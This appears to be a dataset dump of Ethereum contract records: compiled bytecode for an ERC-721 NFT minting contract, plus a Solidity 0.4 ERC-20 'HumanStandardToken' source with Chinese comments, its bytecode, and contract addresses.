565b3480156109d857600080fd5b506103f3604051806040016040528060038152602001624b4f4560e81b81525081565b348015610a0757600080fd5b5061177c546107d7906001600160801b03811690600160801b900463ffffffff1682565b60006001600160e01b031982167f80ac58cd000000000000000000000000000000000000000000000000000000001480610a8e57506001600160e01b031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b80610ac257506001600160e01b031982167f780e9d6300000000000000000000000000000000000000000000000000000000145b80610add57506001600160e01b031982166301ffc9a760e01b145b92915050565b61177e8181548110610af457600080fd5b60009182526020909120015467ffffffffffffffff8082169250680100000000000000009091041682565b6000805b61177e54811015610bdd57600061177e8281548110610b4457610b4461333c565b60009182526020918290206040805180820190915291015467ffffffffffffffff808216808452680100000000000000009092041692820192909252915084118015610b9d5750806020015167ffffffffffffffff1684105b15610bca5761177d8281548110610bb657610bb661333c565b906000526020600020015492505050919050565b5080610bd581613368565b915050610b23565b50600092915050565b6000610bf182610f68565b610c425760405162461bcd60e51b815260206004820152601a60248201527f6572632d3732313a206e6f6e6578697374656e7420746f6b656e00000000000060448201526064015b60405180910390fd5b50600090815261177660205260409020546001600160a01b031690565b6000610c6a82610f88565b9050826001600160a01b0316816001600160a01b03161415610cce5760405162461bcd60e51b815260206004820152601a60248201527f6572632d3732313a20617070726f766520746f2063616c6c65720000000000006044820152606401610c39565b336001600160a01b0382161480610d0957506001600160a01b03811660009081526117776020908152604080832033845290915290205460ff165b610d555760405162461bcd60e51b815260206004820152601f60248201527f6572632d3732313a206e6f74206f776e6572206e6f7220617070726f766564006044820152606401610c39565b6000828152611776602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6000546001600160a01b03163314610dfa5760405162461bcd60e51b815260206004820181905260248201526000805160206135978339815191526044820152606401610c39565b8061177d8381548110610e0f57610e0f61333c565b6000918252602090912001555050565b6000546001600160a01b03163314610e675760405162461bcd60e51b815260206004820181905260248201526000805160206135978339815191526044820152606401610c39565b63ffffffff811615610e8157610e7e600182613383565b90505b604080518082019091526001600160801b0390921680835263ffffffff90911660209092018290526117788054600160801b9093026001600160a01b0319909316909117919091179055565b610ee883838360405180602001604052806000815250611ea4565b505050565b60008060015b600254811015610f5d57846001600160a01b03166004826117718110610f1b57610f1b61333c565b01546001600160a01b03161415610f4b5783821415610f3d579150610add9050565b610f486001836133ab565b91505b610f566001826133ab565b9050610ef3565b506000949350505050565b6000816002546001610f7a91906133ab565b118015610add575050151590565b60006004826117718110610f9e57610f9e61333c565b01546001600160a01b031692915050565b6000546001600160a01b03163314610ff75760405162461bcd60e51b815260206004820181905260248201526000805160206135978339815191526044820152606401610c39565b61177980546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146110625760405162461bcd60e51b815260206004820181905260248201526000805160206135978339815191526044820152606401610c39565b61177181106110b35760405162461bcd60e51b815260206004820152601360248201527f6d617820737570706c79206578636565646564000000000000000000000000006044820152606401610c39565b600155565b61177f546001600160a01b03166111115760405162461bcd60e51b815260206004820152601560248201527f7a65726f207472656173757279206164647265737300000000000000000000006044820152606401610c39565b61177f60009054906101000a90046001600160a01b03166001600160a01b031663a639ad79476040518263ffffffff1660e01b81526004016000604051808303818588803b15801561116257600080fd5b505af1158015611176573d6000803e3d6000fd5b5050505050565b6000546001600160a01b031633146111c55760405162461bcd60e51b815260206004820181905260248201526000805160206135978339815191526044820152606401610c39565b6111cf60006120ef565b565b6000805481906001600160a01b0316331461121c5760405162461bcd60e51b815260206004820181905260248201526000805160206135978339815191526044820152606401610c39565b611226848461213f565b915091505b9250929050565b6117795460009081906001600160a01b03166112905760405162461bcd60e51b815260206004820181905260248201527f6569702d3731323a2077686974656c697374206d696e742064697361626c65646044820152606401610c39565b604080517f64a830c71be714ed4ca944cf759cc2c89f283e211e10da9c9b9142b13722422b60208201523391810191909152606081018590526000906112ee9060800160405160208183030381529060405280519060200120612335565b611779549091506001600160a01b0316611308828661239e565b6001600160a01b03161461135e5760405162461bcd60e51b815260206004820152601a60248201527f6569702d3731323a20696e76616c6964207369676e61747572650000000000006044820152606401610c39565b33600090815261177a602052604081205461137a8760016133ab565b61138491906133c3565b90508087106113d55760405162461bcd60e51b815260206004820152601660248201527f6569702d3731323a20696e76616c696420636f756e74000000000000000000006044820152606401610c39565b33600090815261177a6020526040812080548992906113f59084906133ab565b90915550611405905033886123c2565b935093505050935093915050565b6000546001600160a01b0316331461145b5760405162461bcd60e51b815260206004820181905260248201526000805160206135978339815191526044820152606401610c39565b6001600160a01b038116158061149f575061149f6001600160a01b0382167fd9b67a2600000000000000000000000000000000000000000000000000000000612533565b6114eb5760405162461bcd60e51b815260206004820152601c60248201527f70726573616c653a2030206f722076616c6964204945524331313535000000006044820152606401610c39565b61177b80546001600160a01b0319166001600160a01b0383169081179091551561157857806001600160a01b031663a22cb4656115306000546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260016024820152604401600060405180830381600087803b15801561116257600080fd5b50565b336001600160a01b03831614156115d45760405162461bcd60e51b815260206004820152601a60248201527f6572632d3732313a20617070726f766520746f2063616c6c65720000000000006044820152606401610c39565b336000818152611777602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61177b5460009081906001600160a01b031661169f5760405162461bcd60e51b815260206004820152601160248201527f70726573616c653a2064697361626c65640000000000000000000000000000006044820152606401610c39565b6040805180820190915261177c546001600160801b038116808352600160801b90910463ffffffff1660208301526116d89086906133da565b34146117265760405162461bcd60e51b815260206004820152601f60248201527f70726573616c653a20696e76616c6964207061796d656e7420616d6f756e74006044820152606401610c39565b60008511801561173f5750806020015163ffffffff1685105b61178b5760405162461bcd60e51b815260206004820152601660248201527f70726573616c653a20696e76616c696420636f756e74000000000000000000006044820152606401610c39565b61177b546040517ff242432a000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018690526001606482015260a06084820152600060a48201526001600160a01b039091169063f242432a9060c401600060405180830381600087803b15801561180c57600080fd5b505af1158015611820573d6000803e3d6000fd5b5050505061182e33866123c2565b92509250509250929050565b61184684848484611ea4565b50505050565b6000546001600160a01b031633146118945760405162461bcd60e51b815260206004820181905260248201526000805160206135978339815191526044820152606401610c39565b61177e54604080518082019091526000808252602082015281156119125761177e6118c06001846133c3565b815481106118d0576118d061333c565b60009182526020918290206040805180820190915291015467ffffffffffffffff80821683526801000000000000000090910416918101919091529050611929565b506040805180820190915260008152600160208201525b61177e60405180604001604052806001846020015161194891906133f9565b67ffffffffffffffff1681526020018661ffff16846020015161196b9190613422565b67ffffffffffffffff908116909152825460018181018555600094855260208086208551930180549190950151841668010000000000000000026fffffffffffffffffffffffffffffffff1990911692909316919091179190911790915561177d805491820181559091527fcdc2e53db181ff1c8e65d6118bbf6e653e4e8843977f96def9ee45bc910b2ccb0192909255505050565b6060611a0c82610f68565b611a585760405162461bcd60e51b815260206004820152601960248201527f6572633732313a206e6f6e6578697374656e7420746f6b656e000000000000006044820152606401610c39565b6000611a6383610b1f565b90508015611aa557611a7481612556565b611a7d84612765565b604051602001611a8e929190613445565b604051602081830303815290604052915050919050565b5050604080516020810190915260008152919050565b6000546001600160a01b03163314611b035760405162461bcd60e51b815260206004820181905260248201526000805160206135978339815191526044820152606401610c39565b61177e805480611b1557611b1561349c565b600082815260209020810160001990810180546fffffffffffffffffffffffffffffffff1916905501905561177d805480611b5257611b5261349c565b60019003818190600052602060002001600090559055565b6000546001600160a01b03163314611bb25760405162461bcd60e51b815260206004820181905260248201526000805160206135978339815191526044820152606401610c39565b6040518060400160405280836001600160801b03168152602001826001611bd99190613383565b63ffffffff908116909152815161177c8054602090940151909216600160801b026001600160a01b03199093166001600160801b03909116179190911790555050565b60408051808201909152611778546001600160801b0381168252600160801b900463ffffffff16602082018190526000918291611c9b5760405162461bcd60e51b815260206004820152601460248201527f7075626c696373616c653a2064697361626c65640000000000000000000000006044820152606401610c39565b8051611cb19085906001600160801b03166133da565b3414611cff5760405162461bcd60e51b815260206004820152601a60248201527f7075626c696373616c653a207061796d656e7420616d6f756e740000000000006044820152606401610c39565b806020015163ffffffff168410611d585760405162461bcd60e51b815260206004820152601960248201527f7075626c696373616c653a20696e76616c696420636f756e74000000000000006044820152606401610c39565b611d6233856123c2565b9250925050915091565b6000546001600160a01b03163314611db45760405162461bcd60e51b815260206004820181905260248201526000805160206135978339815191526044820152606401610c39565b61177f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314611e1f5760405162461bcd60e51b815260206004820181905260248201526000805160206135978339815191526044820152606401610c39565b6001600160a01b038116611e9b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610c39565b611578816120ef565b6000611eaf83610f88565b9050336001600160a01b0382161480611ed8575033611ecd84610be6565b6001600160a01b0316145b80611f0757506001600160a01b03811660009081526117776020908152604080832033845290915290205460ff165b611f535760405162461bcd60e51b815260206004820152601f60248201527f6572632d3732313a206e6f74206f776e6572206e6f7220617070726f766564006044820152606401610c39565b846001600160a01b0316816001600160a01b031614611fb45760405162461bcd60e51b815260206004820152601260248201527f6572632d3732313a206e6f74206f776e657200000000000000000000000000006044820152606401610c39565b6001600160a01b03841661200a5760405162461bcd60e51b815260206004820152600c60248201527f7a65726f206164647265737300000000000000000000000000000000000000006044820152606401610c39565b60008381526117766020526040902080546001600160a01b031916905583600484611771811061203c5761203c61333c565b0180546001600160a01b0319166001600160a01b0392831617905585166000908152611775602052604081208054600192906120799084906133c3565b90915550506001600160a01b0384166000908152611775602052604081208054600192906120a89084906133ab565b909155505060405183906001600160a01b0380871691908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90600090a45050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008082518451146121935760405162461bcd60e51b815260206004820152601660248201527f6172726179206c656e67746873206d69736d61746368000000000000000000006044820152606401610c39565b6002546000805b86518110156122bf5760008682815181106121b7576121b761333c565b6020026020010151905060008883815181106121d5576121d561333c565b6020026020010151905081846121eb91906133ab565b6001600160a01b038216600090815261177560205260408120805492965084929091906122199084906133ab565b90915550600090505b828110156122a9578561223481613368565b96505081600487611771811061224c5761224c61333c565b0180546001600160a01b0319166001600160a01b0392831617905560405187918416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4806122a181613368565b915050612222565b50505080806122b790613368565b91505061219a565b506001546122cd82846133ab565b1061231a5760405162461bcd60e51b815260206004820152600f60248201527f746f6b656e7320617265206f76657200000000000000000000000000000000006044820152606401610c39565b600282905561232981836133c3565b96919550909350505050565b6000610add612342612887565b836040517f19010000000000000000000000000000000000000000000000000000000000006020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b60008060006123ad85856129ae565b915091506123ba81612a1b565b509392505050565b60008060006002549050600154600185836123dd91906133ab565b6123e791906133c3565b106124345760405162461bcd60e51b815260206004820152600f60248201527f746f6b656e7320617265206f76657200000000000000000000000000000000006044820152606401610c39565b60005b848110156124be578161244981613368565b9250508560048361177181106124615761246161333c565b0180546001600160a01b0319166001600160a01b0392831617905560405183918816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4806124b681613368565b915050612437565b506001600160a01b038516600090815260036020526040812080548692906124e79084906133ab565b90915550506001600160a01b03851660009081526117756020526040812080548692906125159084906133ab565b9091555050600281905561252984826133c3565b9590945092505050565b600061253e83612bd6565b801561254f575061254f8383612c09565b9392505050565b60408051808201825260108082527f697066733a2f2f66303137303132323000000000000000000000000000000000602080840191909152835180850185529182527f3031323334353637383961626364656600000000000000000000000000000000908201528251838152606081810185529385929160009160208201818036833701905050905060005b602081101561273757600060048583602081106126015761260161333c565b1a60f81b6001600160f81b031916901c9050838160f81c60ff168151811061262b5761262b61333c565b01602001517fff00000000000000000000000000000000000000000000000000000000000000168361265e8460026133da565b8151811061266e5761266e61333c565b60200101906001600160f81b031916908160001a90535060008583602081106126995761269961333c565b1a60f81b600f60f81b169050848160f81c60ff16815181106126bd576126bd61333c565b01602001517fff0000000000000000000000000000000000000000000000000000000000000016846126f08560026133da565b6126fb9060016133ab565b8151811061270b5761270b61333c565b60200101906001600160f81b031916908160001a9053505050808061272f90613368565b9150506125e2565b50838160405160200161274b9291906134b2565b604051602081830303815290604052945050505050919050565b6060816127a557505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b81156127cf57806127b981613368565b91506127c89050600a8361351f565b91506127a9565b60008167ffffffffffffffff8111156127ea576127ea612fe9565b6040519080825280601f01601f191660200182016040528015612814576020820181803683370190505b5090505b841561287f576128296001836133c3565b9150612836600a86613533565b6128419060306133ab565b60f81b8183815181106128565761285661333c565b60200101906001600160f81b031916908160001a905350612878600a8661351f565b9450612818565b949350505050565b6000306001600160a01b037f000000000000000000000000f26222341ee08f8e463f64f64dbef550b0cc552a161480156128e057507f000000000000000000000000000000000000000000000000000000000000000146145b1561290a57507fa8989db63bd9301c7ad930807a4bc292e82620dc929e159041c96f6a4a3af0e190565b50604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6020808301919091527f210e8c19e84b01767842872981056328a7f24ee00c97f14a515075965321b604828401527f06c015bd22b4c69690933c1058878ebdfef31f9aaae40bbe86d8a09fe1b2972c60608301524660808301523060a0808401919091528351808403909101815260c0909201909252805191012090565b6000808251604114156129e55760208301516040840151606085015160001a6129d987828585612d07565b9450945050505061122b565b825160401415612a0f5760208301516040840151612a04868383612df4565b93509350505061122b565b5060009050600261122b565b6000816004811115612a2f57612a2f613547565b1415612a385750565b6001816004811115612a4c57612a4c613547565b1415612a9a5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610c39565b6002816004811115612aae57612aae613547565b1415612afc5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610c39565b6003816004811115612b1057612b10613547565b1415612b695760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610c39565b6004816004811115612b7d57612b7d613547565b14156115785760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610c39565b6000612be9826301ffc9a760e01b612c09565b8015610add5750612c02826001600160e01b0319612c09565b1592915050565b604080516001600160e01b0319831660248083019190915282518083039091018152604490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff166301ffc9a760e01b179052905160009190829081906001600160a01b0387169061753090612c8590869061355d565b6000604051808303818686fa925050503d8060008114612cc1576040519150601f19603f3d011682016040523d82523d6000602084013e612cc6565b606091505b5091509150602081511015612ce15760009350505050610add565b818015612cfd575080806020019051810190612cfd9190613579565b9695505050505050565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0831115612d3e5750600090506003612deb565b8460ff16601b14158015612d5657508460ff16601c14155b15612d675750600090506004612deb565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015612dbb573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116612de457600060019250925050612deb565b9150600090505b94509492505050565b6000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831681612e2a60ff86901c601b6133ab565b905061140587828885612d07565b600060208284031215612e4a57600080fd5b81356001600160e01b03198116811461254f57600080fd5b600060208284031215612e7457600080fd5b5035919050565b60005b83811015612e96578181015183820152602001612e7e565b838111156118465750506000910152565b6020815260008251806020840152612ec6816040850160208701612e7b565b601f01601f19169190910160400192915050565b6001600160a01b038116811461157857600080fd5b60008060408385031215612f0257600080fd5b8235612f0d81612eda565b946020939093013593505050565b60008060408385031215612f2e57600080fd5b50508035926020909101359150565b60008060408385031215612f5057600080fd5b82356001600160801b0381168114612f6757600080fd5b9150602083013563ffffffff81168114612f8057600080fd5b809150509250929050565b600080600060608486031215612fa057600080fd5b8335612fab81612eda565b92506020840135612fbb81612eda565b929592945050506040919091013590565b600060208284031215612fde57600080fd5b813561254f81612eda565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561302857613028612fe9565b604052919050565b600067ffffffffffffffff82111561304a5761304a612fe9565b5060051b60200190565b600082601f83011261306557600080fd5b8135602061307a61307583613030565b612fff565b82815260059290921b8401810191818101908684111561309957600080fd5b8286015b848110156130b4578035835291830191830161309d565b509695505050505050565b600080604083850312156130d257600080fd5b823567ffffffffffffffff808211156130ea57600080fd5b818501915085601f8301126130fe57600080fd5b8135602061310e61307583613030565b82815260059290921b8401810191818101908984111561312d57600080fd5b948201945b8386101561315457853561314581612eda565b82529482019490820190613132565b9650508601359250508082111561316a57600080fd5b5061317785828601613054565b9150509250929050565b600082601f83011261319257600080fd5b813567ffffffffffffffff8111156131ac576131ac612fe9565b6131bf601f8201601f1916602001612fff565b8181528460208386010111156131d457600080fd5b816020850160208301376000918101602001919091529392505050565b60008060006060848603121561320657600080fd5b8335925060208401359150604084013567ffffffffffffffff81111561322b57600080fd5b61323786828701613181565b9150509250925092565b801515811461157857600080fd5b6000806040838503121561326257600080fd5b823561326d81612eda565b91506020830135612f8081613241565b6000806000806080858703121561329357600080fd5b843561329e81612eda565b935060208501356132ae81612eda565b925060408501359150606085013567ffffffffffffffff8111156132d157600080fd5b6132dd87828801613181565b91505092959194509250565b600080604083850312156132fc57600080fd5b823561ffff81168114612f0d57600080fd5b6000806040838503121561332157600080fd5b823561332c81612eda565b91506020830135612f8081612eda565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561337c5761337c613352565b5060010190565b600063ffffffff8083168185168083038211156133a2576133a2613352565b01949350505050565b600082198211156133be576133be613352565b500190565b6000828210156133d5576133d5613352565b500390565b60008160001904831182151516156133f4576133f4613352565b500290565b600067ffffffffffffffff8381169083168181101561341a5761341a613352565b039392505050565b600067ffffffffffffffff8083168185168083038211156133a2576133a2613352565b60008351613457818460208801612e7b565b83519083019061346b818360208801612e7b565b7f2e6a736f6e0000000000000000000000000000000000000000000000000000009101908152600501949350505050565b634e487b7160e01b600052603160045260246000fd5b600083516134c4818460208801612e7b565b8351908301906134d8818360208801612e7b565b7f2f000000000000000000000000000000000000000000000000000000000000009101908152600101949350505050565b634e487b7160e01b600052601260045260246000fd5b60008261352e5761352e613509565b500490565b60008261354257613542613509565b500690565b634e487b7160e01b600052602160045260246000fd5b6000825161356f818460208701612e7b565b9190910192915050565b60006020828403121561358b57600080fd5b815161254f8161324156fe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212203c4dc351053203437d3ea3a3e2773f00fbf8cfc0cfed3b1070cdbc357539bcad64736f6c634300080b0033
[ 11 ]
0xf26244dcfc30c732dfa87fcae8094cd32bdee331
pragma solidity ^0.4.8; contract Token{ // token总量,默认会为public变量生成一个getter函数接口,名称为totalSupply(). uint256 public totalSupply; /// 获取账户_owner拥有token的数量 function balanceOf(address _owner) constant returns (uint256 balance); //从消息发送者账户中往_to账户转数量为_value的token function transfer(address _to, uint256 _value) returns (bool success); //从账户_from中往账户_to转数量为_value的token,与approve方法配合使用 function transferFrom(address _from, address _to, uint256 _value) returns (bool success); //消息发送账户设置账户_spender能从发送账户中转出数量为_value的token function approve(address _spender, uint256 _value) returns (bool success); //获取账户_spender可以从账户_owner中转出token的数量 function allowance(address _owner, address _spender) constant returns (uint256 remaining); //发生转账时必须要触发的事件 event Transfer(address indexed _from, address indexed _to, uint256 _value); //当函数approve(address _spender, uint256 _value)成功执行时必须触发的事件 event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //默认totalSupply 不会超过最大值 (2^256 - 1). //如果随着时间的推移将会有新的token生成,则可以用下面这句避免溢出的异常 //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value;//从消息发送者账户中减去token数量_value balances[_to] += _value;//往接收账户增加token数量_value Transfer(msg.sender, _to, _value);//触发转币交易事件 return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //require(balances[_from] >= _value && allowed[_from][msg.sender] >= // _value && balances[_to] + _value > balances[_to]); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value;//接收账户增加token数量_value balances[_from] -= _value; //支出账户_from减去token数量_value allowed[_from][msg.sender] -= _value;//消息发送者可以从账户_from中转出的数量减少_value Transfer(_from, _to, _value);//触发转币交易事件 return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender];//允许_spender从_owner中转出的token数 } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract HumanStandardToken is StandardToken { /* Public variables of the token */ string public name; //名称: eg Simon Bucks uint8 public decimals; //最多的小数位数,How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //token简称: eg SBX string public version = 'H0.1'; //版本 function HumanStandardToken(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) { balances[msg.sender] = _initialAmount; // 初始token数量给予消息发送者 totalSupply = _initialAmount; // 设置初始总量 name = _tokenName; // token名称 decimals = _decimalUnits; // 小数位数 symbol = _tokenSymbol; // token简称 } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014257806318160ddd1461019c57806323b872dd146101c5578063313ce5671461023e57806354fd4d501461026d57806370a08231146102fb57806395d89b4114610348578063a9059cbb146103d6578063cae9ca5114610430578063dd62ed3e146104cd575b600080fd5b34156100bf57600080fd5b6100c7610539565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101075780820151818401526020810190506100ec565b50505050905090810190601f1680156101345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014d57600080fd5b610182600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105d7565b604051808215151515815260200191505060405180910390f35b34156101a757600080fd5b6101af6106c9565b6040518082815260200191505060405180910390f35b34156101d057600080fd5b610224600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106cf565b604051808215151515815260200191505060405180910390f35b341561024957600080fd5b61025161093b565b604051808260ff1660ff16815260200191505060405180910390f35b341561027857600080fd5b61028061094e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102c05780820151818401526020810190506102a5565b50505050905090810190601f1680156102ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561030657600080fd5b610332600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109ec565b6040518082815260200191505060405180910390f35b341561035357600080fd5b61035b610a35565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103e157600080fd5b610416600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ad3565b604051808215151515815260200191505060405180910390f35b341561043b57600080fd5b6104b3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610c2c565b604051808215151515815260200191505060405180910390f35b34156104d857600080fd5b610523600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ecd565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105cf5780601f106105a4576101008083540402835291602001916105cf565b820191906000526020600020905b8154815290600101906020018083116105b257829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561079c575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156107a757600080fd5b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109e45780601f106109b9576101008083540402835291602001916109e4565b820191906000526020600020905b8154815290600101906020018083116109c757829003601f168201915b505050505081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610acb5780601f10610aa057610100808354040283529160200191610acb565b820191906000526020600020905b815481529060010190602001808311610aae57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b2357600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610e6d578082015181840152602081019050610e52565b50505050905090810190601f168015610e9a5780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f1925050501515610ec257600080fd5b600190509392505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820156b95c62486aa2e4ea7bf90d0d5be08a247cb75a3c66161b53425097c18599f0029
[ 38 ]
0xf2626fe8e375ea4984d44de6f682b0058a231407
